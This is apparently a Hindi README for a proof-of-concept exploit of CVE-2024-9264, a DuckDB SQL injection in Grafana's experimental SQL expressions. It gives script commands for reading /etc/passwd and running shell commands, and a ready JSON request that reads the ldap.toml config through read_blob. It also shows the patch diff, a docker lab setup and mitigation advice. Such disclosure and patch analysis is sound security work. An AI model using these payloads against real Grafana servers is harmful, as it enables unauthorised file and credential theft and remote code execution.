
Grafana मनमाना फ़ाइल-पठन और RCE (CVE-2024-9264) के लिए एक्सप्लॉइट
यह PoC एक प्रमाणित उपयोगकर्ता का उपयोग करके CVE-2024-9264 के शोषण को प्रदर्शित करता है जो DuckDB SQL क्वेरी निष्पादित करता है और फ़ाइल सिस्टम पर एक मनमानी फ़ाइल पढ़ता है या दूरस्थ रूप से मनमाना कोड निष्पादित करता है।
मनमाना कोड केवल Grafana v11.0.0 पर निष्पादित किया जा सकता है।
फ़ाइलें सभी कमजोर संस्करणों में पढ़ी जा सकती हैं।
सेटअप: आवश्यक निर्भरताएँ इस प्रकार स्थापित करें:
pip install -r requirements.txt
फ़ाइल पढ़ें (सार्वभौमिक):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
कमांड निष्पादन (केवल v11.0.0)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
आप मनमानी DuckDB क्वेरी भी निष्पादित कर सकते हैं, जैसे कि पर्यावरण चर प्राप्त करने के लिए getenv को कॉल करना:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
शोषण किए जा सकने वाले उपयोगिता DuckDB फ़ंक्शनों की सूची यहाँ पाई जा सकती है।
CVE-2024-9264 ग्राफाना की प्रयोगात्मक SQL एक्सप्रेशन सुविधा में एक DuckDB SQL इंजेक्शन कमजोरी है। कोई भी प्रमाणित उपयोगकर्ता ग्राफाना डैशबोर्ड में संशोधित एक्सप्रेशन के माध्यम से मनमानी DuckDB SQL क्वेरी निष्पादित कर सकता है।
प्रभावित संस्करण:
पैच किए गए संस्करण:
ग्राफाना ने इस कमजोरी को ठीक करने के लिए विशेष संस्करण जारी किए। पैच का विश्लेषण करने के लिए, परिवर्तनों की तुलना करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
इससे पता चलता है कि SQL एक्सप्रेशन सुविधा को बस कमजोर संस्करणों से हटा दिया गया था।
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
पैच SQL एक्सप्रेशन को पूरी तरह से हटा देता है, जिससे शोषण की संभावना समाप्त हो जाती है।
Grafana लॉन्च करें: Grafana को संस्करण 11.0.5 के साथ चलाएँ:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
एक एक्सप्रेशन संशोधित करें:
'Math' जैसे एक्सप्रेशन के साथ एक डैशबोर्ड बनाएँ, Burp के साथ अनुरोध को इंटरसेप्ट करें, और datasource प्रकार को math से sql में बदलें।
एक HTTP अनुरोध /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101 पर भेजा जाएगा।
नीचे एक मनमानी फ़ाइल, जैसे ./conf/ldap.toml, पढ़ने के लिए DuckDB SQL क्वेरी करने हेतु आवश्यक न्यूनतम JSON है:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
वास्तविक शोषण के लिए किसी डैशबोर्ड की आवश्यकता नहीं है, यह क्वेरी निष्पादित करने के लिए HTTP अनुरोध खोजने का एक आसान तरीका है।
यह ध्यान देना महत्वपूर्ण है कि जबकि यह कमजोरी गंभीर है, इसका शोषण इस बात पर निर्भर करता है कि ग्राफाना सर्वर पर DuckDB बाइनरी स्थापित है या नहीं। डिफ़ॉल्ट रूप से, Grafana DuckDB स्थापित के साथ नहीं आता है, और ग्राफाना इंटरफ़ेस से सीधे इसे स्थापित करने का कोई विकल्प नहीं है।
इस कमजोरी के शोषण योग्य होने के लिए, एक प्रशासक ने मैन्युअल रूप से DuckDB स्थापित किया होना चाहिए और इसे ग्राफाना सर्वर के $PATH में जोड़ा होना चाहिए। यदि DuckDB मौजूद नहीं है, तो SQL इंजेक्शन कमजोरी का लाभ नहीं उठाया जा सकता है, जो डिफ़ॉल्ट इंस्टॉलेशन में सफल शोषण की संभावना को काफी कम कर देता है।
ग्राफाना को पैच किए गए संस्करणों में अपडेट करें, और यदि पैचिंग में देरी हो रही है तो सुनिश्चित करें कि DuckDB बाइनरी $PATH में मौजूद नहीं है।